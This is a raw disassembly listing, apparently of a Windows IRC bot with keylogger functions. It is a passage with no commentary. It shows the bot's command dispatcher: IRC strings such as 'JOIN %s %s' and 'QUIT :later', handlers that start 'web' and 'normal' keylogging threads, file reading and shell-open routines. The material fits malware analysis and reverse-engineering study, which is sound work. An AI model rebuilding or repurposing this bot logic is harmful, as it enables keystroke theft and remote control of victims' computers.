		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2670E97h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26801F9h
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670E97h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		nop
		call	near ptr 26908E5h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
